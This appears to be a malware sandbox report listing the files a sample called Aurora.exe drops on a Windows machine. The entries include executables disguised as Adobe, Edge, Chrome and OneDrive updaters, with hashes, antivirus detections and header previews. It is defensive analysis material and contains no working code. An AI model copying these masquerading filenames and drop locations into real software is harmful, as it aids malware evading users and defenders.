. . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF57.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7694
Entropy (8bit):	3.7035921239339467
Encrypted:	false
SSDEEP:	192:R6l7wVeJc06o6Y9PSU95TgmfZaZp14+1fhIm:R6lXJf6o6Y1SU95TgmfQF40fb
MD5:	18E8AD1737AC0F6A3B68677B82E5C365
SHA1:	10FE87E258221D7D076E7F24802063A2AB28E991
SHA-256:	C3F9DB4D456041A055FA36CF80EE1D34BC8F963D82C9405E535873BA72FEC1B1
SHA-512:	F87A5A896DCD07E13BC3C435B05591843FA29382E41F232AFF1FC1A598BEBEE029ECC63596DC618DBBC32FC58AF913EC319E4CE298D0734CDE2643BEA7B80382
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFA6.tmp.xml

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4707
Entropy (8bit):	4.487991183401193
Encrypted:	false
SSDEEP:	48:cvIwWl8zszNJg77aI9K9WpW8VYLYm8M4JFK/jQFV+q8vyjvt/mAk9ieoK27d:uIjfbI7wM7VPJFK/UKyLEAkkeoK27d
MD5:	C0FCB9903FC15991200D2BFC7C1FEC1D
SHA1:	B5AF48DD3496B527BC29B8ED47D5658FFF1C3855
SHA-256:	3F465734A7BBAA5DFF791395703145EE8B90D1D9AA03176DC71E0744DFC2895A
SHA-512:	8B87B8C430A728F1ED874C67F1971DBF866678B8CD57E98D9C37845037AEE729D2466CDA778A2F583BB77AFEC3F62717276A47E8E3484D7208A56AF13B49DEAB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="428267" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\OneDrive Updater.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.36509199858051
Encrypted:	false
SSDEEP:	6:Q3La/xwchM3RJoDLIP12MUAvvR+uCqDLIP12MUAvvR+uTL2ql2ABgTv:Q3La/hhkvoDLI4MWuCqDLI4MWuPTAv
MD5:	3C63E66D9AEEF8DBC085D1459854EE3E
SHA1:	770A084649B3A7D9CB0CF1A5B922FE2AC9D59122
SHA-256:	06DF1E84C6419E6B0752C1CFD1B9D51A5D3EC1BC44513B5C1EB7400FA18760C4
SHA-512:	8626E48E0854AC46C4024F00A6FF170EFE896C06D2E37022FE6F757FBD933EEE00E97D977F5B13CA5A41822651E32469B152778B04296657E0B4F19DEF18F103
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\OneDrive.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.36509199858051
Encrypted:	false
SSDEEP:	6:Q3La/xwchM3RJoDLIP12MUAvvR+uCqDLIP12MUAvvR+uTL2ql2ABgTv:Q3La/hhkvoDLI4MWuCqDLI4MWuPTAv
MD5:	3C63E66D9AEEF8DBC085D1459854EE3E
SHA1:	770A084649B3A7D9CB0CF1A5B922FE2AC9D59122
SHA-256:	06DF1E84C6419E6B0752C1CFD1B9D51A5D3EC1BC44513B5C1EB7400FA18760C4
SHA-512:	8626E48E0854AC46C4024F00A6FF170EFE896C06D2E37022FE6F757FBD933EEE00E97D977F5B13CA5A41822651E32469B152778B04296657E0B4F19DEF18F103
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:ML9E4KiE4Kx1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MxHKiHKx1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	E6726BABA80C39624BADA32F0CCE6B54
SHA1:	4C769FA8A02DBE33AA9084040A9E6C70230334FA
SHA-256:	6A9F9C628B47AFC2A34A71826450A12D9293709BF977E72C04102F9DDD3705E0
SHA-512:	BBCCE0FCC59D29116253E71ECC786B8E3BA19D9A3124F36FEC9963C7F47016F145C76C18C5AD0FB6186ADEA69652BA99F29EF5AB5E71EFDD7EC07A82BB366960
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Msedge.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	6.050968204460563
Encrypted:	false
SSDEEP:	1536:pTrGHaLZS5k/fTO7UKkCTYHm2aopjB2UcSkZmi/ndOLUL:EHaLkS/XS6aop9Bj6HndOLU
MD5:	65F0A85C4B056D6BCEE60C49E2372E35
SHA1:	6AF820A2030950617BF150777AF4A43A06A17184
SHA-256:	D64768EA74224057220BFF451504B6128DDFB6161617B668626C490C84B3AE8E
SHA-512:	7A50BD0B3908F830494B2BFF13A051BA0CDC7900934DBF8A62616F6D29B914F05F8029BBCC429A095254EBB6AB2A2D92C05DD6AEBF57E34CDE20F152243DF383
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\.&U.bH..bH..bH......bH.W.L..bH.W.K..bH.W.M..bH.W.I..bH...I..bH..bI..bH...M..bH...J..bH.Rich.bH.................PE..d...2#Od.........."....".....j.................@.........................................`.................................................d(.......`.......P...............p..\|... ...................................@...............X............................text............................... ..`.rdata..RN.......P..................@..@.data........@.......&..............@....pdata.......P......................@..@.rsrc........`.......<..............@..@.reloc..\|....p.......>..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1uuujoo1.clx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lm50jwl.i2z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_an3zbuep.zfx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brbwoi3y.qyo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwq3a0y1.kyd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gk5j21i5.wc1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihuvrwie.ry2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k4hp2vu4.v5d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kbhkmpqf.zry.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kpse5r2a.vvn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhcmucsk.4c5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mumy503g.ad0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ougdpndo.n4z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_skfb5wha.3tg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x2iypfu3.l4n.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zktoup0v.gtd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe

Download File

Process:	C:\Users\user\Desktop\Aurora.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	6.050968204460563
Encrypted:	false
SSDEEP:	1536:pTrGHaLZS5k/fTO7UKkCTYHm2aopjB2UcSkZmi/ndOLUL:EHaLkS/XS6aop9Bj6HndOLU
MD5:	65F0A85C4B056D6BCEE60C49E2372E35
SHA1:	6AF820A2030950617BF150777AF4A43A06A17184
SHA-256:	D64768EA74224057220BFF451504B6128DDFB6161617B668626C490C84B3AE8E
SHA-512:	7A50BD0B3908F830494B2BFF13A051BA0CDC7900934DBF8A62616F6D29B914F05F8029BBCC429A095254EBB6AB2A2D92C05DD6AEBF57E34CDE20F152243DF383
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\.&U.bH..bH..bH......bH.W.L..bH.W.K..bH.W.M..bH.W.I..bH...I..bH..bI..bH...M..bH...J..bH.Rich.bH.................PE..d...2#Od.........."....".....j.................@.........................................`.................................................d(.......`.......P...............p..\|... ...................................@...............X............................text............................... ..`.rdata..RN.......P..................@..@.data........@.......&..............@....pdata.......P......................@..@.rsrc........`.......<..............@..@.reloc..\|....p.......>..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe

Download File

Process:	C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5846920
Entropy (8bit):	7.706908459684143
Encrypted:	false
SSDEEP:	98304:25h3DyR3bargjfCgmnokEFhmqmnScD5AJUvYvmgOYPh:2jYrugTCgmoljmDnHD5AJUQOYPh
MD5:	B9FC8581B52ABFC6B563DA731438E27D
SHA1:	43111FE9B307C850A379FE2D64D279E994680DE3
SHA-256:	E03DEBE75B2F4F4C937C50773064B9A692B262BFCE4472E67900EDF3F7726058
SHA-512:	C62540E73870CAF9A93FBC2396AC99867F8F6E87661240D7642022130008BDB769954F1E8A58D13698172E62CC5B7D44A73B2F1D999DB47822EB294C629436A5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....E4d...............&......Y................@..............................Y......lY...`... ..............................................PY.4.....Y.8.....Y.d.....Y..#....Y.0........................... .X.(....................RY.P............................text...............................`..`.data...@.W.......W.................@....rdata...;....X..<....X.............@..@.pdata..d.....Y.......X.............@..@.xdata....... Y.......X.............@..@.bss.........0Y..........................idata..4....PY.......X.............@....CRT....`....`Y.......Y.............@....tls.........pY.......Y.............@....rsrc...8.....Y.......Y.............@....reloc..0.....Y.......Y.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Download File

Process:	C:\Users\user\Desktop\Aurora.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	97792
Entropy (8bit):	5.9606766633428006
Encrypted:	false
SSDEEP:	1536:5qsCbqDylbG6jejoigIj43Ywzi0Zb78ivombfexv0ujXyyed2x3tmulgS6p8l:XEwiYj+zi0ZbYe1g0ujyzdd8
MD5:	C9A9D471428A5F92068C0823E6454254
SHA1:	8B8EE8612B9B8BFBB165B3A8CA0D4A377B589DD2
SHA-256:	B0FFAA8C7D8FE1E804AFC87E6F7659483C69D421911DDBFC410270011B91BFB5
SHA-512:	CA34022E99A48639FB3566EC4EB901A2F91121AEE6A1F1BC601492DD94387873AFC8AF499AEFED8D644AEF8F564CA46A12EA40176DA7F8D7B4E60F4B505AC8AF
Malicious:	true
